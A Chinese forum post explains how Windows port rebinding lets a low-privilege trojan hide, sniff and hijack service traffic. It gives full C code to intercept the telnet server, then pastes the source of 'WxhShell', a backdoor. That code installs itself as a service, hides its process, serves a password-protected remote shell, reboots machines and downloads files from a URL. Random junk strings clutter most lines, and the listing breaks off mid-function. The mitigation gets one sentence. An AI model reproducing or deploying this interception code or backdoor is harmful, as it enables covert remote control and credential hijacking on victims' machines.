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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (yO8G-Z0  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :=oIvSnh  
f7v|N)  
  saddr.sin_family = AF_INET; z/P^Bx]r  
*wl&Zzx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8;<3Tyjzu  
L IN$Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |y DaFv  
z;lWr(-x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N?l  
/D,<2>o  
  这意味着什么?意味着可以进行如下的攻击: uZXG"  
P*g:rg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !f01.Tq8  
V7)<MY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vC%Hc/&.}  
It8s#oq8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f"aqg/l  
H:4? sR3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  4=C7V,a  
Ry`Y +  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zw}Wm4OH  
; G4g;YHy|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,niQs+'<  
@%gth@8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H{+[ ,l  
aB2t/ua  
  #include ,A;wLI  
  #include  li  
  #include 2SJ|$VsLaE  
  #include    x]pZcx9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2<TpNGXM_  
  int main() j7 \y1$w  
  { MxLi'R=  
  WORD wVersionRequested; * %w8bB  
  DWORD ret; 0<u(!iL  
  WSADATA wsaData; m?`?T   
  BOOL val; 6a4-VX5  
  SOCKADDR_IN saddr; _)-y&  
  SOCKADDR_IN scaddr; @9\L|O'~?  
  int err; Y%#r&de  
  SOCKET s; K yDPD'  
  SOCKET sc; RZTC+ylj  
  int caddsize; 57`9{.HB  
  HANDLE mt; \!s0H_RJY  
  DWORD tid;   lj"72   
  wVersionRequested = MAKEWORD( 2, 2 ); ]Aa.=  
  err = WSAStartup( wVersionRequested, &wsaData ); QO <.l`F  
  if ( err != 0 ) { mecm,xwm  
  printf("error!WSAStartup failed!\n"); mE"},ksg  
  return -1; fe+2U|y  
  } 6w*q~{"(  
  saddr.sin_family = AF_INET; m 4V0e~]  
   ZGC*BP/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y({EF~w  
Ztj~Q9mu  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NG\^>.8  
  saddr.sin_port = htons(23); `xie/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z-`-0@/A$  
  { Bb@m-+f  
  printf("error!socket failed!\n"); %tT=q^%5  
  return -1; "t:9jU  
  } X'.*I])  
  val = TRUE; } DQ KfS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XWYLa8Ef  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)   7)  
  { [FN4_  
  printf("error!setsockopt failed!\n"); y)0wM~E;2  
  return -1; 6;%Ajx  
  } y5$AAas  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >%Nqgn$V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 drW}w+ !  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HG:9yP<,o  
Nd;,Wz]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x'hUw*  
  { P h/!a6y  
  ret=GetLastError(); ,n\'dMNii  
  printf("error!bind failed!\n"); *$EcP`K$  
  return -1; >do3*ko A  
  } PR;A 0   
  listen(s,2); z2Kvp"-}  
  while(1) ^yp`<=  
  { e!.r- v9  
  caddsize = sizeof(scaddr); o%V%@q H  
  //接受连接请求 |8s45g>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); GK\`8xWE  
  if(sc!=INVALID_SOCKET) =VPJ m\*V  
  { -naoM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uszH1@g'  
  if(mt==NULL) &&er7_Q  
  { '>0rp\jC  
  printf("Thread Creat Failed!\n"); aK4ZH}XHE"  
  break; {c\KiWN  
  } dPO|x+N,  
  } ds|L'7  
  CloseHandle(mt); A<|]>[ax  
  } I@9[  
  closesocket(s); V-.Nc#  
  WSACleanup(); \qB:z7I2  
  return 0; f{j (H?5  
  }   u&\QZW?  
  DWORD WINAPI ClientThread(LPVOID lpParam) u~VvGLFf5,  
  { <oP"kh<D4  
  SOCKET ss = (SOCKET)lpParam; hm+,o_+  
  SOCKET sc; bX*c-r:  
  unsigned char buf[4096]; )/_T`cN  
  SOCKADDR_IN saddr; Z{gJm9  
  long num; =p29 }^@@t  
  DWORD val; |E =8  
  DWORD ret; @+ee0 CLT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Pe<}kS m4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }:f \!b  
  saddr.sin_family = AF_INET; P6 & _q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =i:6&Y~VGq  
  saddr.sin_port = htons(23); '"QN{ja  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pcl '!8&7  
  { @ %}4R`S0  
  printf("error!socket failed!\n"); <!qv$3/7  
  return -1; uv$t>_^  
  } ;[}<xw3):  
  val = 100; g k.c"$2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aO'lk  
  { L dyTB@  
  ret = GetLastError(); (ev(~Wc  
  return -1; vn0}l6n3s  
  } `NNr]__  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (&y~\t] H  
  { @C34^\aH+  
  ret = GetLastError(); [EX@I =?  
  return -1; G6?+Qz r  
  } hb_J. Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2V*<HlqOif  
  { }#3'72  
  printf("error!socket connect failed!\n"); l(CMP!mY  
  closesocket(sc); L9G xqw  
  closesocket(ss); D$wl.r  
  return -1; ~H)s>6>#v  
  } ,iQRf@#W_b  
  while(1) ?k*%r;e>  
  { 9 Z 5!3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :s}6a23  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w>]?gN?8Fe  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0F495'*A  
  num = recv(ss,buf,4096,0); >5aZ?#TS1  
  if(num>0) #nv =x&g  
  send(sc,buf,num,0); ^D=1%@l?#  
  else if(num==0) ^"?fZSC  
  break; *QIlh""6  
  num = recv(sc,buf,4096,0); #Oeb3U  
  if(num>0) &`RD5uml  
  send(ss,buf,num,0); cen[|yCtOH  
  else if(num==0) K9*vWoP'  
  break; 8-2e4^ g(  
  } 41S.&-u  
  closesocket(ss); S{qc1qj  
  closesocket(sc); t Lz,t&h  
  return 0 ; 8)wxc1  
  } :?*|Dp1  
Qrnc;H9)  
v|WTm#  
========================================================== xejQ!MAB  
R0l5"l*@+  
下边附上一个代码,,WXhSHELL nI63Ns  
$ e<108)]  
========================================================== /3VSO"kcZ  
1^x "P#u  
#include "stdafx.h" v `a:Lj  
,#u"$Hz8p  
#include <stdio.h> >;$C@  
#include <string.h> Em%0C@C  
#include <windows.h> BkP'b{z|  
#include <winsock2.h> ?>p (*  
#include <winsvc.h> ;yvx-  
#include <urlmon.h> JZa^GW:YQh  
*[P"2b#  
#pragma comment (lib, "Ws2_32.lib") \I@hDMqv  
#pragma comment (lib, "urlmon.lib") IpJMq^ Z  
o*[n[\cR  
#define MAX_USER   100 // 最大客户端连接数 Cggu#//Z}Q  
#define BUF_SOCK   200 // sock buffer ]tjQy1M  
#define KEY_BUFF   255 // 输入 buffer %`M IGi#  
0gLl>tF[H  
#define REBOOT     0   // 重启 _uYidtxo=  
#define SHUTDOWN   1   // 关机 z!M8lpI M  
)g()b"Z #>  
#define DEF_PORT   5000 // 监听端口 wX!q dII)  
u{6b>c|,X  
#define REG_LEN     16   // 注册表键长度 XtJIaD|:3  
#define SVC_LEN     80   // NT服务名长度 !a.|URa7  
(R9{wGV [  
// 从dll定义API V!{}%;f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +2KYtyI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M_OvIU(E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D(' w<9.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )w t mc4'  
'4"9f]:  
// wxhshell配置信息 N<$dbqoT|  
struct WSCFG {  y[C++Q  
  int ws_port;         // 监听端口 I: L}7uA[t  
  char ws_passstr[REG_LEN]; // 口令 At0ahy+  
  int ws_autoins;       // 安装标记, 1=yes 0=no g5YDRL!Wh  
  char ws_regname[REG_LEN]; // 注册表键名 c)b/"  
  char ws_svcname[REG_LEN]; // 服务名 zc`gm~@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :j)v=qul  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `<"@&N^d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9sgyg3fv>5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SyB2A\A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r*r3QsO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 '1 }ybSG  
k(]R;`f$W  
}; <27:O,I  
|*T`3@R;3  
// default Wxhshell configuration Qvx[F:#Tk  
struct WSCFG wscfg={DEF_PORT, cm'`u&S  
    "xuhuanlingzhe", GBvgVX<  
    1, !bq3c(d  
    "Wxhshell", ,(@JNtx  
    "Wxhshell", }Z,xF`  
            "WxhShell Service", z{q|HO  
    "Wrsky Windows CmdShell Service", `xq/<U;i  
    "Please Input Your Password: ", I&Z4?K  
  1, jY+u OH  
  "http://www.wrsky.com/wxhshell.exe", eVetG,["  
  "Wxhshell.exe" SZ&I4-  
    }; %FhUjHm  
y!kU0  
// 消息定义模块 z|k0${iu#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z*w.A=r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A hCqQ.O71  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^aONuG9  
char *msg_ws_ext="\n\rExit."; ? koIZ  
char *msg_ws_end="\n\rQuit."; N+9W2n  
char *msg_ws_boot="\n\rReboot..."; J/(^Z?/~P!  
char *msg_ws_poff="\n\rShutdown..."; EW~M,+?  
char *msg_ws_down="\n\rSave to "; GpZ}xY'|w,  
^D5+ S`V  
char *msg_ws_err="\n\rErr!"; ]=28s *@  
char *msg_ws_ok="\n\rOK!"; 9{cpxJ  
?lPyapA]  
char ExeFile[MAX_PATH]; TCLXO0  
int nUser = 0; B4M rrW4=  
HANDLE handles[MAX_USER]; lvd `_+P$  
int OsIsNt; @d1YN]ede  
>|1$Pv?  
SERVICE_STATUS       serviceStatus; /7fD;H^*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g@2f& m  
Q`m9I  
// 函数声明 o FS2*u  
int Install(void); \n>7T*iM&  
int Uninstall(void); ]k# iA9I  
int DownloadFile(char *sURL, SOCKET wsh); .gclE~h.  
int Boot(int flag); A:4?Jd>  
void HideProc(void); %5 ovW<E:  
int GetOsVer(void); cfC}"As  
int Wxhshell(SOCKET wsl); gA:unsI  
void TalkWithClient(void *cs); Mc9JFzp  
int CmdShell(SOCKET sock); qHl>d*IZ  
int StartFromService(void); eqSCE6r9x  
int StartWxhshell(LPSTR lpCmdLine); wA2^ I70-  
r7jh)Q;BbR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \k9]c3V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z)ndj 1,#)  
W P9PX  
// 数据结构和表定义 2 -pv &  
SERVICE_TABLE_ENTRY DispatchTable[] = 7DPxz'7):  
{ pCC3r t(  
{wscfg.ws_svcname, NTServiceMain}, Ke^9R-jP  
{NULL, NULL} :X}fXgeL  
}; %z6_,|%  
eX$RD9 H  
// 自我安装 ~~3*o  
int Install(void) INEE 37%  
{ 'Ll'8 ps  
  char svExeFile[MAX_PATH]; 8[H bg  
  HKEY key; .sSbU^U  
  strcpy(svExeFile,ExeFile); *RmD%[f  
Z#%s/TL  
// 如果是win9x系统,修改注册表设为自启动 ~(`&hYE  
if(!OsIsNt) { vty:@?3\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wpD}#LRfm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /*(&Dmt>  
  RegCloseKey(key); Md&K#)9,(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u s8.nL/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )4RSo&9p`  
  RegCloseKey(key); 2^qJ'<2]M  
  return 0; [QIQpBL  
    } 7- |N&u  
  } ?CldcxM#  
} sJMpF8   
else { VAp 1{  
aTkMg  
// 如果是NT以上系统,安装为系统服务 ^iWJqpLe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +LlAGg]Z  
if (schSCManager!=0) U, 8mYv2|  
{ a1EQ.u  
  SC_HANDLE schService = CreateService "5v^6R9e  
  ( :`c@&WF8  
  schSCManager, Z`#XB2,  
  wscfg.ws_svcname,  tYG6Gl  
  wscfg.ws_svcdisp, =7EkN% V:{  
  SERVICE_ALL_ACCESS, `Ue5;<K-/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4]ko  
  SERVICE_AUTO_START, yH9&HFDp  
  SERVICE_ERROR_NORMAL, ikO9p|J  
  svExeFile,  pLM?m  
  NULL, \(}pm#O  
  NULL, Y?-Ef sK  
  NULL, 1k`gr&S  
  NULL, 2cwJ);Eg2  
  NULL iba8G]2  
  ); rxj#  
  if (schService!=0) P0RtS1A  
  { ]]y4$ [|L  
  CloseServiceHandle(schService); !}sF#  
  CloseServiceHandle(schSCManager); ],{M``]q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w_DaldK*  
  strcat(svExeFile,wscfg.ws_svcname); +:W?:\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,!X:wY}dW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); umt`0m. :  
  RegCloseKey(key); Qwp2h"t`  
  return 0; xe9\5Gb}  
    } $M~`)UeV_  
  } c=^69>w  
  CloseServiceHandle(schSCManager); 93ggCOaYA  
} *_]fe&s=%  
} )<Mo.  
#4!f/dWJp  
return 1; foB&H;A4oC  
} Vy^mEsQC+h  
D |fo:Xp,  
// 自我卸载 EfkBo5@Qi  
int Uninstall(void) K)}Vr8,V  
{ g|h;*  
  HKEY key; $"k1^&&E  
#WGyQ u  
if(!OsIsNt) { AP8J28I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @}uo:b:Q  
  RegDeleteValue(key,wscfg.ws_regname); Cv/3-&5S  
  RegCloseKey(key); JvaHH!>d/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +;Gvp=hk  
  RegDeleteValue(key,wscfg.ws_regname); QUg<~q)Oq  
  RegCloseKey(key); >5zD0!bA  
  return 0; Y&y<WN}Q  
  } F=f9##Y?7M  
} SRU#Y8Xv|  
} A0Q1"b=  
else { ]BTISaL-R  
Hq>rK`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zm(}~C29  
if (schSCManager!=0) Ye^xV,U@  
{ ,4}s 1J#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2uMSeSx$  
  if (schService!=0) <l>L8{-3  
  { jO`L:D/C  
  if(DeleteService(schService)!=0) { Fl"LK:)  
  CloseServiceHandle(schService); RER93:(  
  CloseServiceHandle(schSCManager); Z'm( M[2K  
  return 0; }/g1  
  } Yi19VU|/  
  CloseServiceHandle(schService); Bma.Uln  
  } E.^u:0:P  
  CloseServiceHandle(schSCManager); pvRa  
} 9'KOc5@l^  
} :z$+leNH\  
n.o_._mu2  
return 1; 0_t9;;y :  
} Yof ]  
-or)NE  
// 从指定url下载文件 gpCWXz')i  
int DownloadFile(char *sURL, SOCKET wsh) V~t; J  
{ p#gf^Y5  
  HRESULT hr; SWNT}{x]  
char seps[]= "/"; ZZ>(o d!B  
char *token; NF7+Gp6?q  
char *file; +V#dJ[,8;.  
char myURL[MAX_PATH]; %y)LBSxf  
char myFILE[MAX_PATH]; ZPHatC  
E FBvi  
strcpy(myURL,sURL); qc6d,z/  
  token=strtok(myURL,seps); =DI/|^j{ ;  
  while(token!=NULL) <In+V  
  { IN"6 =2:  
    file=token; /qd~|[Kx:  
  token=strtok(NULL,seps); z~;@Mo"*f  
  } K!gocNOf  
@EH@_EwYV  
GetCurrentDirectory(MAX_PATH,myFILE); ket"fXqJX  
strcat(myFILE, "\\"); ]yas]5H   
strcat(myFILE, file); z>spRl,dr  
  send(wsh,myFILE,strlen(myFILE),0); .L_ Hk  
send(wsh,"...",3,0); No]#RvEd3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w5a;ts_x  
  if(hr==S_OK) s18A  
return 0; [Y6ZcO/-i  
else L#/<y{  
return 1; ~|`jIqU  
A)kdY!}  
} prVqV-S6TY  
smuQ1.b  
// 系统电源模块 , L8(Vo`-  
int Boot(int flag) .H5^N\V|  
{ v0+$d\mP4<  
  HANDLE hToken; e{*z4q1  
  TOKEN_PRIVILEGES tkp; <&}N[  
?O/!pUAu  
  if(OsIsNt) { 4I;$a;R!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a.SxMF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <*djtO  
    tkp.PrivilegeCount = 1; [S[@ Q[zP@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qh4Z{c@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N1'$;9 c  
if(flag==REBOOT) { @Y+9")?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '_o(I  
  return 0; 6/L34VH  
} oo!JAv}~  
else { {OW.^UIq^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2r#W#z%vS  
  return 0; ~ 6Hi"w  
} l~GcD  
  } AM4 :xz  
  else { IsB=G-s  
if(flag==REBOOT) { i  M!=/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zT jk^  
  return 0; UN`O*(k[  
} >/DlxYG?  
else { R"[U<^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LW+^m6O  
  return 0; Y kcN-  
} &e1(|qax  
} [xg& `x9,.  
*`bAu *  
return 1; bJ9K!6s??`  
} O4Hc"v  
0o-KjX?kP  
// win9x进程隐藏模块 p ^Dm w0y  
void HideProc(void) u6~/" _FwY  
{ M\dZxhQ-l  
l*<RKY8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +`Ypc  
  if ( hKernel != NULL ) ;Fm7!@u^0  
  { c~iAjq+c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eEMU,zCl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D]$X@2A  
    FreeLibrary(hKernel); jsnk*>j  
  } 84u %_4/  
8iwqy0<  
return; ld/\`s[i  
} 7.`:Z_  
}o MY  
// 获取操作系统版本 IJV1=/ NJW  
int GetOsVer(void) 5t~p99#?  
{ E]j2%}6Z%  
  OSVERSIONINFO winfo; zeG_H}[2&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b(|1DE0Cv  
  GetVersionEx(&winfo); Kn+m9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $d _%7xx  
  return 1; COk;z.Kn  
  else U4ELlxGe  
  return 0; ~]&,v|g&  
} c>nXnN  
pv #uLo  
// 客户端句柄模块 U$5 lh  
int Wxhshell(SOCKET wsl) z}:|is)?  
{ m}dO\;  
  SOCKET wsh; cy-Bhk0H  
  struct sockaddr_in client; R"`7aa6  
  DWORD myID; NWq>Z!x`  
s9'lw'  
  while(nUser<MAX_USER) <Fa]k'<^)  
{ E Z}c8b  
  int nSize=sizeof(client); {2Jn#&Z29  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #A '|O\RGP  
  if(wsh==INVALID_SOCKET) return 1; !$i*u-%4  
SuU_psF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8I`t`C/4  
if(handles[nUser]==0) E8=8OX/{Y  
  closesocket(wsh); TsB"<6@!AA  
else ~Yw`w 2  
  nUser++; ;Xw'WMb*=  
  } |E YJbL;1%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LK1 r@  
vxRy7:G"  
  return 0; dMnJ)R  
} Z`=[hu  
$\ 0d9^)&  
// 关闭 socket g{}{gBplnl  
void CloseIt(SOCKET wsh) ?{OB+f}Mo  
{ .%pbKi `  
closesocket(wsh); QKAo}1Pq  
nUser--; Gs% cod  
ExitThread(0); >+ZG {'!j  
} &GC`4!H  
;;9W/m~]  
// 客户端请求句柄 oP$l(k  
void TalkWithClient(void *cs) $cxulcay=  
{ pa6.Tp>  
Z*}5M4  
  SOCKET wsh=(SOCKET)cs; 8%dE$smH  
  char pwd[SVC_LEN]; me+F0:L  
  char cmd[KEY_BUFF]; 43"` gF]  
char chr[1]; X_}2xo|T  
int i,j; }w0>mA0=H  
 f:_\S  
  while (nUser < MAX_USER) { ndIf1}   
bvf}r ,`Q7  
if(wscfg.ws_passstr) { &: i|;^^2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W3XVr&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vgc #IEx@  
  //ZeroMemory(pwd,KEY_BUFF); 8Rgvb3u  
      i=0; PhHBmM GL  
  while(i<SVC_LEN) { {R2gz]v4  
TV~ <1vj  
  // 设置超时 x-Kq=LFy.  
  fd_set FdRead; ^ di[J^  
  struct timeval TimeOut; Q -!,yCu  
  FD_ZERO(&FdRead); y5d=r]_S:  
  FD_SET(wsh,&FdRead); Oie0cz:>:  
  TimeOut.tv_sec=8; T ~9)0A"]  
  TimeOut.tv_usec=0; pZS0;T]W,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 03WLVP@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nN=o/zd  
Ue>;h9^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t:DZow  
  pwd=chr[0]; {bxTODt@  
  if(chr[0]==0xd || chr[0]==0xa) { =l  %  
  pwd=0; tevB2'3^  
  break; :x36^{7  
  } Ow0-}Im~  
  i++; xWwQm'I2}  
    } G:W4<w  
%h)6o99{wF  
  // 如果是非法用户,关闭 socket BT|5"b}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I<v1S  
} ?#OGH`ZvkI  
*SW.K{{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |\yVnk!c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q .[hwm  
s*"Yi~  
while(1) { 334UMH__  
-8j<`(M' 5  
  ZeroMemory(cmd,KEY_BUFF); E\3fL"lM  
\+]U1^  
      // 自动支持客户端 telnet标准   ^ :%"Z&  
  j=0; {o2pCH  
  while(j<KEY_BUFF) { +(v<_#wR-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  b)7uz>I  
  cmd[j]=chr[0]; 4 1w*<{Lk  
  if(chr[0]==0xa || chr[0]==0xd) { 7+I%0U}m  
  cmd[j]=0; ttazY#  
  break; 9.<dS  
  } BXNt@%  
  j++; ``%uq)G=D  
    } Kd 2?9gaw  
^%)H;  
  // 下载文件 tc go 'V  
  if(strstr(cmd,"http://")) { fZoV\a6Kj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "qL4D4  
  if(DownloadFile(cmd,wsh)) WM& k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t;[L-|^  
  else +UzFHiGy#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mx ?{[zT"  
  } VieX 5  
  else { [kdt]+'+  
7qfo%n"  
    switch(cmd[0]) { NGl/F{<  
  fz%I'+!  
  // 帮助 %bM^/7  
  case '?': { QPe+K61U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ka[@-XH  
    break; UjmBLXz@T  
  } ~7Ji+AJA  
  // 安装 T*,kBJ  
  case 'i': { "NUl7ce.R  
    if(Install()) .#"O VI]#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X[L6Av  
    else 3"2 8=)o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (p1y/"Xh  
    break; (!h%) _?.l  
    } xkv2#"*v  
  // 卸载 )9~1XiS,  
  case 'r': { sb 3l4(8g  
    if(Uninstall()) :e-&,K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j M%qv  
    else lO482l_t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zk+&5d 4(  
    break; JpVV0x/Q/_  
    } +P C<#  
  // 显示 wxhshell 所在路径 pWo`iM& F  
  case 'p': { 0 S3~IeJ  
    char svExeFile[MAX_PATH]; 0sjw`<ic  
    strcpy(svExeFile,"\n\r"); ,BM6s,\  
      strcat(svExeFile,ExeFile); 4l! ^"=rh  
        send(wsh,svExeFile,strlen(svExeFile),0); ".&x`C  
    break; Fs q=u-= :  
    } zx7*Bnu0  
  // 重启 zh5{t0E}C  
  case 'b': { 'jp nQcwxx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |CME:;{T  
    if(Boot(REBOOT)) ?>lvV+3^`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[gM 5G  
    else { vt`hY4  
    closesocket(wsh); ZoJ:4uo N`  
    ExitThread(0); L]{ 1"`#  
    } YQ>P{I%J  
    break; O@U[S.IK  
    } [3`T/Wm  
  // 关机 m ys5B}  
  case 'd': { l[]K5?AS>-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #84pRU~  
    if(Boot(SHUTDOWN)) H27J kZ&  
